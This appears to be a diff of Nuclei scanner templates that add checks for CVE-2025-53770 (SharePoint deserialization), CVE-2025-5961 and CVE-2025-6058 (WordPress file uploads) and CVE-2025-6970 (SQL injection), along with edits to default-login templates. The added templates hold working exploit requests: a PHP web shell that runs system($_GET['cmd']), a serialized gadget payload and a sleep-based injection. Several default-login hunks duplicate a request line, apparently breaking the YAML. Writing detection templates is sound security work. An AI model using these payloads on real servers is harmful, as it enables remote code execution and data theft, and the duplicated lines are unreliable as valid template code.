+        POST /_layouts/15/ToolPane.aspx/?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        Referer: /_layouts/SignOut.aspx
+        Accept-Encoding: gzip
+
+        MSOTlPn_Uri={{Scheme}}%3a//{{Hostname}}/_controltemplates/15/AclEditor.ascx&MSOTlPn_DWP=%3c%25%40%20Register%20Tagprefix%3d%22gizpnozlcjfutvbn%22%20Namespace%3d%22System.Web.UI%22%20Assembly%3d%22System.Web.Extensions%2c%20Version%3d4.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d31bf3856ad364e35%22%20%25%3e%0a%3c%25%40%20Register%20Tagprefix%3d%22sjqjboucouuj%22%20Namespace%3d%22Microsoft.PerformancePoint.Scorecards%22%20Assembly%3d%22Microsoft.PerformancePoint.Scorecards.Client%2c%20Version%3d16.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d71e9bce111e9429c%22%20%25%3e%0a%20%20%3cgizpnozlcjfutvbn%3aUpdateProgress%3e%0a%20%20%20%20%3cProgressTemplate%3e%0a%20%20%20%20%20%20%3csjqjboucouuj%3aExcelDataSet%20CompressedDataTable%3d%22{{urlencode(base64(gzip(base64_decode(replace_regex(javascript_response,":.*","")))))}}%22%20DataTable-CaseSensitive%3d%22true%22%20runat%3d%22server%22/%3e%0a%20%20%20%20%3c/ProgressTemplate%3e%0a%20%20%3c/gizpnozlcjfutvbn%3aUpdateProgress%3e%0a
+
+      - |
+        POST /_layouts/15/ToolPane.aspx/?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        Referer: /_layouts/SignOut.aspx
+        Accept-Encoding: gzip
+
+        MSOTlPn_Uri={{Scheme}}%3a//{{Hostname}}/_controltemplates/15/AclEditor.ascx&MSOTlPn_DWP=%3c%25%40%20Register%20Tagprefix%3d%22gizpnozlcjfutvbn%22%20Namespace%3d%22System.Web.UI%22%20Assembly%3d%22System.Web.Extensions%2c%20Version%3d4.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d31bf3856ad364e35%22%20%25%3e%0a%3c%25%40%20Register%20Tagprefix%3d%22sjqjboucouuj%22%20Namespace%3d%22Microsoft.PerformancePoint.Scorecards%22%20Assembly%3d%22Microsoft.PerformancePoint.Scorecards.Client%2c%20Version%3d16.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d71e9bce111e9429c%22%20%25%3e%0a%20%20%3cgizpnozlcjfutvbn%3aUpdateProgress%3e%0a%20%20%20%20%3cProgressTemplate%3e%0a%20%20%20%20%20%20%3csjqjboucouuj%3aExcelDataSet%20CompressedDataTable%3d%22{{urlencode(base64(gzip(base64_decode(replace_regex(javascript_response,".*:","")))))}}%22%20DataTable-CaseSensitive%3d%22true%22%20runat%3d%22server%22/%3e%0a%20%20%20%20%3c/ProgressTemplate%3e%0a%20%20%3c/gizpnozlcjfutvbn%3aUpdateProgress%3e%0a
+
+    stop-at-first-match: true
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(x_nuclei,"CVE-2025-53770")'
+          - 'contains(body, "MSOTlPn_DWP")'
+        condition: and
+# digest: 4b0a004830460221008cd969269a137f26a4b3b18ab0d6e041b3ca7945380be98e72e46b4c0257b35c022100db82e34eedc302aa1b1252ca383afa043f5c50b37b286f36a7b0a5324bcec1d7:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-5961.yaml

@@ -0,0 +1,93 @@
+id: CVE-2025-5961
+
+info:
+  name: WordPress WPvivid Backup & Migration Plugin <= 0.9.116 - Authenticated Arbitrary File Upload
+  author: pussycat0x
+  severity: high
+  description: |
+    The Migration, Backup, Staging – WPvivid Backup & Migration plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'wpvivid_upload_import_files' function in all versions up to, and including, 0.9.116.
+  impact: |
+    An authenticated attacker can upload arbitrary files, including PHP files, which can lead to remote code execution, complete system compromise, and unauthorized access to sensitive data.
+  remediation: |
+    Update the WPvivid Backup & Migration plugin to a version that addresses this vulnerability or remove the plugin if no fix is available.
+  reference:
+    - https://github.com/Nxploited/CVE-2025-5961
+    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpvivid-backuprestore/migration-backup-staging-wpvivid-backup-migration-09116-authenticated-administrator-arbitrary-file-upload
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 8.8
+    cve-id: CVE-2025-5961
+    cwe-id: CWE-434
+  metadata:
+    verified: true
+    max-request: 4
+    publicwww--query: "/plugins/wpvivid-backuprestore/"
+  tags: cve,cve2025,wordpress,,wp-plugin,intrusive,wpvivid-backuprestore,authenticated,file-upload,backup
+
+variables:
+  payload: '<?php echo "<br>"; if(isset($_GET["cmd"])){ echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; } ?>'
+  cmd: 'id'
+  filename: "{{rand_text_alpha(12)}}"
+
+http:
+  - raw:
+      - |
+        POST /wp-login.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        log={{username}}&pwd={{password}}&wp-submit=Log+In
+
+      - |
+        GET /wp-admin/admin.php?page=wpvivid-export-import HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=0b9e4b9be0f532af74af1582b95632f2
+
+        --0b9e4b9be0f532af74af1582b95632f2
+        Content-Disposition: form-data; name="action"
+
+        wpvivid_upload_import_files
+        --0b9e4b9be0f532af74af1582b95632f2
+        Content-Disposition: form-data; name="_ajax_nonce"
+
+        {{ajax_nonce}}
+        --0b9e4b9be0f532af74af1582b95632f2
+        Content-Disposition: form-data; name="async-upload"; filename="{{filename}}.php"
+        Content-Type: application/x-php
+
+        {{payload}}
+        --0b9e4b9be0f532af74af1582b95632f2
+        Content-Disposition: form-data; name="name"
+
+        {{filename}}.php
+        --0b9e4b9be0f532af74af1582b95632f2--
+
+      - |
+        GET wp-content/wpvividbackups/ImportandExport/{{filename}}.php?cmd={{cmd}} HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body_3
+        words:
+          - '{"result":"success"}'
+
+      - type: regex
+        part: body_4
+        regex:
+          - 'uid=([0-9(a-z-)]+) gid=([0-9(a-z-)]+) groups=([0-9(a-z-)]+)'
+
+    extractors:
+      - type: regex
+        part: body_2
+        group: 1
+        internal: true
+        name: ajax_nonce
+        regex:
+          - '"ajax_nonce":"([a-f0-9]+)"'
+# digest: 4b0a00483046022100c3592f93489a90acbe5cdfda8709bc8a9e5a0c7436a1e91e9dc4f21eeb55838f022100b7aa5420fb2f8b19e2ac197cabdab2da3903ac6d1010f17787deef7e46d1b20e:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-6058.yaml

@@ -0,0 +1,94 @@
+id: CVE-2025-6058
+
+info:
+  name: WPBookit <= 1.0.4 - Unauthenticated Arbitrary File Upload
+  author: pussycat0x
+  severity: critical
+  description: |
+    The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4.
+  impact: |
+    Unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
+  remediation: Fixed in 1.0.5
+  reference:
+    - https://wordpress.org/plugins/wpbookit/
+    - https://github.com/Nxploited/CVE-2025-6058
+    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpbookit/wpbookit-104-unauthenticated-arbitrary-file-upload
+  metadata:
+    verified: true
+    max-request: 1
+    publicwww-query: "/wp-content/plugins/wpbookit/"
+    fofa-query: body="/wp-content/plugins/wpbookit/"
+  tags: cve,cve2025,wordpress,wpscan,wpbookit,intrusive,file-upload,wp
+
+variables:
+  payload: '<?php echo "<br>"; if(isset($_GET["cmd"])){ echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; } ?>'
+  cmd: 'id'
+  month: '{{date_time("%Y/%M")}}'
+  filename: "{{to_lower(rand_base(5))}}"
+  string: "{{to_lower(rand_base(8))}}"
+
+flow: http(1) && http(2) && http(3)
+
+http:
+  - raw:
+      - |
+        GET /wp-content/plugins/wpbookit/README.txt HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(body, "WPBookit")'
+        condition: and
+        internal: true
+
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
+
+        ------WebKitFormBoundary7MA4YWxkTrZu0gW
+        Content-Disposition: form-data; name="action"
+
+        wpb_ajax_post
+        ------WebKitFormBoundary7MA4YWxkTrZu0gW
+        Content-Disposition: form-data; name="route_name"
+
+        add_booking_type
+        ------WebKitFormBoundary7MA4YWxkTrZu0gW
+        Content-Disposition: form-data; name="title"
+
+        {{string}}
+        ------WebKitFormBoundary7MA4YWxkTrZu0gW
+        Content-Disposition: form-data; name="booking_type"
+
+        {{string}}
+        ------WebKitFormBoundary7MA4YWxkTrZu0gW
+        Content-Disposition: form-data; name="cover_image_img"; filename="{{filename}}.php"
+        Content-Type: application/octet-stream
+
+        {{payload}}
+        ------WebKitFormBoundary7MA4YWxkTrZu0gW--
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains_all(body, "success","status")'
+        condition: and
+        internal: true
+
+  - raw:
+      - |
+        GET /wp-content/uploads/{{month}}/{{filename}}.php?cmd={{cmd}} HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'regex("uid=\\d+\\([^)]+\\) gid=\\d+\\([^)]+\\) groups=\\d+\\([^)]+\\)", body)'
+        condition: and
+# digest: 4b0a00483046022100a8872314fa258297869143aced044e764853c0941ff160725b178c30a16cdfa0022100de79d9b5a243b5d6014e8f83c7a0a7b8aef23dd90a0187da0d264087ba1b82cf:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-6970.yaml

@@ -0,0 +1,51 @@
+id: CVE-2025-6970
+
+info:
+  name: WordPress Events Manager <= 7.0.3 - SQL Injection
+  author: iamnoooob,pdresearch
+  severity: critical
+  description: |
+    The Events Manager - Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 7.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
+  impact: |
+    An attacker can exploit this vulnerability to perform time-based SQL injection attacks, potentially extracting sensitive information from the database including user credentials, personal information, and other confidential data.
+  remediation: |
+    Update the Events Manager plugin to version 6.6.5 or 7.0.4 or later which fixes this vulnerability. If immediate update is not possible, consider temporarily disabling the plugin until the fix can be applied.
+  reference:
+    - https://wpscan.com/vulnerability/CVE-2025-6970
+    - https://patchstack.com/database/vulnerability/events-manager/wordpress-events-manager-calendar-bookings-tickets-and-more-plugin-7-0-3-unauthenticated-sql-injection-via-orderby-parameter
+    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/events-manager/events-manager-703-unauthenticated-sql-injection-via-orderby-parameter
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-6970
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-6970
+    cwe-id: CWE-89
+    epss-score: 0.00043
+    epss-percentile: 0.09677
+    cpe: cpe:2.3:a:wp-events-plugin:events_manager:*:*:*:*:*:wordpress:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: wp-events-plugin
+    product: events_manager
+    publicwww-query: "/wp-content/plugins/events-manager/"
+  tags: cve,cve2025,events-manager,sqli,time-based,wordpress,wpscan,wp-plugin,wp
+
+http:
+  - raw:
+      - |
+        @timeout: 30s
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        action=search_events&orderby=1*(select(sleep(8)))
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "duration>=8"
+          - "status_code == 200"
+          - "contains_all(body, 'em-item-info', 'em-item-title', 'em-item-desc')"
+        condition: and
+# digest: 4b0a00483046022100d369f82ff1dcbb8b2f1939cbe0b729be2bb68c68524f6b152f268684a53ec5c1022100a9c18e84f94ab411456a7682a441b8ca671a20b934a2f27c59c6d6c917060645:922c64590222798bb761d5b6d8e72950

http/default-logins/apache/tomcat-default-login.yaml

@@ -11,13 +11,28 @@ info:
   classification:
     cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
   metadata:
-    max-request: 405
+    max-request: 406
     vendor: apache
     product: tomcat
     shodan-query: title:"Apache Tomcat"
   tags: tomcat,apache,default-login
 
+flow: http(1) && http(2)
+
 http:
+  - raw:
+      - |
+        GET /manager/html HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        words:
+          - "Apache Tomcat"
+          - "401 Unauthorized"
+        condition: or
+        internal: true
+
   - raw:
       - |
         GET /manager/html HTTP/1.1
@@ -97,4 +112,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100def1dc6950f9893115c625eaf21336fdc8a9d7a9e7bd5f4f696428267541a9ab022100eaae69e3c327f20780e5a9904382be955af8bbba65d9ee694ba1b55147a657ae:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022014b1f7373f6234c1e716b897b463f45bfedd9588d7abb22a6a4577c172ea046c02206e613fe8061440118b01ad3c0e2082b24cceef0d0d1a47091a192dfaf5052421:922c64590222798bb761d5b6d8e72950

http/default-logins/couchdb/couchdb-default-login.yaml

@@ -13,13 +13,29 @@ info:
     cpe: cpe:2.3:a:apache:couchdb:*:*:*:*:*:*:*:*
   metadata:
     verified: true
-    max-request: 16
+    max-request: 17
     fofa-query: app="APACHE-CouchDB"
     product: couchdb
     vendor: apache
   tags: default-login,couchdb,misconfig
 
+flow: http(1) && http(2)
+
 http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        words:
+          - "CouchDB"
+          - "couchdb"
+        condition: or
+        internal: true
+
+  - raw:
   - raw:
       - |
         POST /_session HTTP/1.1
@@ -62,4 +78,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a0046304402203f3ec75adc438ac984b9c86563936bdf149314625706cfec942efcf94ac237da022058abfe0d3dc0b492e05cfb13e2474a9a559f20c6f19f33c41c8f3a4772ed017e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220418f142b0c17deadbcca49680c0f77af0b71e94351565d5d913a0b6edb45166d022100a558f04bd8a7aaf1ba63dd40d299357e8d93c90bacd693468f0105b252b758a5:922c64590222798bb761d5b6d8e72950

http/default-logins/esafenet-cdg-default-login.yaml

@@ -10,13 +10,28 @@ info:
     cpe: cpe:2.3:a:esafenet:cdg:*:*:*:*:*:*:*:*
   metadata:
     verified: true
-    max-request: 32
+    max-request: 33
     vendor: esafenet
     product: cdg
     fofa-query: esafenet
   tags: esafenet,cdg,default-login
 
+flow: http(1) && http(2)
+
 http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/CDGServer3/"
+
+    matchers:
+      - type: word
+        words:
+          - "CDGServer"
+          - "Esafenet"
+        condition: or
+        internal: true
+
+  - method: POST
   - method: POST
     path:
       - "{{BaseURL}}/CDGServer3/SystemConfig"
@@ -56,4 +71,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502210085e9f3b18bc5b7b44e028a20c0745ee61d7a63c9563e593e6a898ee100ffe9ba02201fa634ce63e9425db0f5fd96d880a129aa85a75a011f5a64e5e16f08bd1c1fa0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100dbb1e3763bac4714c6e98021f7b0088b44b7fafd297456d8f694ea534d4cd8b402205f33a958ba9b1bdaa7e887d7cca1f829961314f9836aafa5c2ce91ba82ffca2a:922c64590222798bb761d5b6d8e72950

http/default-logins/goip-default-login.yaml

@@ -15,11 +15,27 @@ info:
     cvss-score: 8.3
     cwe-id: CWE-522
   metadata:
-    max-request: 12
+    max-request: 13
     shodan-query: 'HTTP/1.0 401 Please Authenticate\r\nWWW-Authenticate: Basic realm="Please Login"'
   tags: default-login,goip,gsm
 
+flow: http(1) && http(2)
+
 http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        words:
+          - "GoIP"
+          - "Please Authenticate"
+        condition: or
+        internal: true
+
+  - raw:
   - raw:
       - |
         GET /default/en_US/status.html HTTP/1.1
@@ -53,4 +69,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a00463044022066e4d586e7849060bbdc9bb5df174185d1bef411797037030f996f5b3f740ede02207169913d45f63abd4409a25f41256168f5eb176ea7be72e8806b97b0ea4e22dd:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220702869520441981bbfcbcded596a9addd522d8173b17a3d7975d848214125f2f022100df57dc852aca88466633f374a29a4b1fcf845035840b3ae5aa87c76f9700d74d:922c64590222798bb761d5b6d8e72950

http/default-logins/jboss/jboss-jbpm-default-login.yaml

@@ -14,13 +14,29 @@ info:
     cpe: cpe:2.3:a:redhat:jbpm:*:*:*:*:*:*:*:*
   metadata:
     verified: true
-    max-request: 12
+    max-request: 13
     shodan-query: html:"JBossWS"
     product: jbpm
     vendor: redhat
   tags: jboss,jbpm,default-login
 
+flow: http(1) && http(2)
+
 http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        words:
+          - "JBoss"
+          - "jbpm"
+        condition: or
+        internal: true
+
+  - raw:
   - raw:
       - |
         GET /jbpm-console/app/tasks.jsf HTTP/1.1
@@ -64,4 +80,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a004630440220650e82e050297dcac03c864a34ecc0142d63640663832d1d8e802ef2235733d002206f28d1cc34175762124536a76058bfe58a3fd0841f15a13572e8f2c26796f9b9:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e63415d826455103202795b50a05da6af73dd81b774baebf354760424a561520022100bdbbb9739cf9e1ef03dfe81736056ee29444d3c45d4032a5bc6708fde156fbba:922c64590222798bb761d5b6d8e72950

http/default-logins/jboss/jmx-default-login.yaml

@@ -12,10 +12,26 @@ info:
     cvss-score: 8.3
     cwe-id: CWE-522
   metadata:
-    max-request: 28
+    max-request: 29
   tags: jboss,jmx,default-login
 
+flow: http(1) && http(2)
+
 http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        words:
+          - "JBoss"
+          - "jmx-console"
+        condition: or
+        internal: true
+
+  - raw:
   - raw:
       - |
         GET /jmx-console/ HTTP/1.1
@@ -48,4 +64,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100dca7352f5fac6027dc12d439331729f781c026eff40ba67c9496d3159427f322022100c80ce9c7137e41052297e3712f5abacbb24298cf17051babebea4f7b7fa5a0ba:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220384c491bed43c8a581dcc34c2bbcc8c1e350fe1250fd826351d70d0b831249c402201a319fa39e1e32e5882fc84a4988c2ade223110e79c5e7780bc2fefa4bb927d4:922c64590222798bb761d5b6d8e72950

http/default-logins/molgenis/molgenis-default-login.yaml

@@ -28,20 +28,21 @@ http:
 
         username={{username}}&password={{password}}
 
+      - |
+        GET /menu/admin/logmanager HTTP/1.1
+        Host: {{Hostname}}
+
     matchers-condition: and
     matchers:
       - type: word
-        part: location
-        words:
-          - "/login?error"
-        negative: true
-
-      - type: word
-        part: header
+        part: header_1
         words:
           - "Set-Cookie: JSESSIONID="
 
-      - type: status
-        status:
-          - 302
-# digest: 4a0a00473045022100a2daa9f1e92b3991b1a7a83b9548d35ffd7b7a8304c36a08f2b37273174c787f0220701fd738588c17ddf6b2f7a511651d5399504a8079dc067986827e49233f1647:922c64590222798bb761d5b6d8e72950
+      - type: word
+        part: body_2
+        words:
+          - "Sign out</button>"
+          - "Log manager</a>"
+        condition: and
+# digest: 4a0a00473045022100efd35964f8350fff78632882d54e392b0eea3e229754dcf721a9bec4882e205a0220557d14ab9d3c9ab28639ad2f68c937eb2fb182c3519d45878293714b2f6f3000:922c64590222798bb761d5b6d8e72950

http/default-logins/oracle/peoplesoft-default-login.yaml

@@ -15,13 +15,28 @@ info:
     cpe: cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:*:*:*:*:*:*:*:*
   metadata:
     verified: true
-    max-request: 200
+    max-request: 201
     shodan-query: title:"Oracle PeopleSoft Sign-in"
     product: peoplesoft_enterprise_peopletools
     vendor: oracle
   tags: default-login,peoplesoft,oracle,fuzz
 
+flow: http(1) && http(2)
+
 http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+
+    matchers:
+      - type: word
+        words:
+          - "PeopleSoft"
+          - "Oracle"
+        condition: or
+        internal: true
+
+  - method: POST
   - method: POST
     path:
       - "{{BaseURL}}/psc/ps/?&cmd=login&languageCd=ENG"
@@ -85,4 +100,4 @@ http:
       - type: status
         status:
           - 302
-# digest: 4a0a00473045022100d1adb8c0a205de0e257ba679d2618318d6727d74033901020527f902fc625110022066290d832d744108cdb8eb64a71d1c013062fcf86009db172cd14f12000a0f30:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100bba4e4dc667b6a04e72c3262a3734076141cfdfa4dd2321a370d3bb0ed585bcc02201b90b07f21254c8a0d4426767639251f2ec2716b53d94f069ad752065addc3f2:922c64590222798bb761d5b6d8e72950

http/default-logins/phpmyadmin/phpmyadmin-default-login.yaml

@@ -14,13 +14,29 @@ info:
     cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*
   metadata:
     verified: true
-    max-request: 16
+    max-request: 17
     shodan-query: http.title:phpMyAdmin
     product: phpmyadmin
     vendor: phpmyadmin
   tags: default-login,phpmyadmin
 
+flow: http(1) && http(2)
+
 http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        words:
+          - "phpMyAdmin"
+          - "phpmyadmin"
+        condition: or
+        internal: true
+
+  - raw:
   - raw:
       - |
         GET /index.php HTTP/1.1
@@ -76,4 +92,4 @@ http:
           - status_code_2 == 302
           - contains(header_2, 'index.php?collation_connection=utf8mb4_unicode_ci') || contains(header_2, '/index.php?route=/&route=%2F')
         condition: and
-# digest: 4a0a004730450220297bb236d1de47a3db734d57bf02a7fa5c4452f05c70e21842033d1e21b8ae22022100e26c1fd9c6d5f2e9af3eae331b8e797a64e1f8078a50c36ed1342219fd95fa47:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022038a1ab30c31196ddc1edbc910a39c188c63fc5b33382ae46959c949be6ac8031022100b9122b7ddb6e5803618633c5f882bc227c75c2f8927333650ff7f82314868443:922c64590222798bb761d5b6d8e72950

http/default-logins/weblogic/weblogic-weak-login.yaml

@@ -13,10 +13,27 @@ info:
     cvss-score: 8.3
     cwe-id: CWE-522
   metadata:
-    max-request: 16
+    max-request: 17
   tags: default-login,weblogic,vulhub
 
+flow: http(1) && http(2)
+
 http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        words:
+          - "WebLogic"
+          - "Oracle"
+          - "console"
+        condition: or
+        internal: true
+
+  - raw:
   - raw:
       - |
         GET /console/ HTTP/1.1
@@ -62,4 +79,4 @@ http:
       - type: status
         status:
           - 302
-# digest: 4a0a00473045022100ebfa0ee5c81d71ff8c7b798fd36e1ba04cb8790acac0dbbeadc6e319b9fef6100220056a867dfaad4cde6e79790537b7070c219b7cc88258541d744b2d26beb2a0b4:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022028c592d8b82db6a1ab5f8e983de3e9d9f4e0858a2c47159bb342be7bd7bd9b2f02201db17b7da5c8771212ebe56d7302626d18e95bc798c8207e46ba38fd49b65fe9:922c64590222798bb761d5b6d8e72950

http/exposed-panels/ackee-panel.yaml

@@ -28,4 +28,4 @@ http:
           - 'status_code==200 && contains(tolower(body), "<title>ackee")'
           - "status_code==200 && (\"-1495233116\" == mmh3(base64_py(body)))"
         condition: or
-# digest: 4a0a00473045022100966cb2dcc9dfa907b41973cada88941ce1618db0b35643210d75cb4d1946a04402206a1ee803c12a4911b866db8b7a0f1696ed21afd6c47f149fd50562dd4835e5b1:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220677d7a43a812d49c34a0241ba4de758e11110b09c7ef067b2a468cbb69dd9f5a022073ad8487930be3be777519478dd7781f236b411aecc445a78b37274848f4fa20:922c64590222798bb761d5b6d8e72950

http/exposed-panels/adfinity-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - '(?i)Version\s+Adfinity([0-9.]+)'
-# digest: 4a0a00473045022100890188ea52af6dcd9048019e920ff9cd95b4a531d19015a1b8c0e97292d1c53102203658283359a07aa25f2456dca009336dd69f4fc4ddbd6ba9d33d74ffefb91b3f:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f8f4f850bcea7ad7cf0e4e953fcfd7c7e4d52b50712257cb3095636aa4cec45e022100d79de2d730b1ecda6317ea88c4ae1d6619d7636e649e4db424a690144322aa4e:922c64590222798bb761d5b6d8e72950

http/exposed-panels/akuiteo-panel.yaml

@@ -37,4 +37,4 @@ http:
         group: 1
         regex:
           - '(?i)x-akuiteo-masterhash:\s+([0-9a-f]+)'
-# digest: 4a0a004730450220680dbd3255490b150767bc99ffc8da373501fc8d6efd42efa05977ed3428862302210088a13194177f3ab56997bbc280a7cab383cb2b389ff70b837522d589d937ccb1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220599061e4cc578c2c3292fd29e83395da2df8331f6c16742fa3394ae57bd5c6ec022100dcb411e539a24e52311228b3f9843e12c532d27a227a14a068f357e5ef6506b3:922c64590222798bb761d5b6d8e72950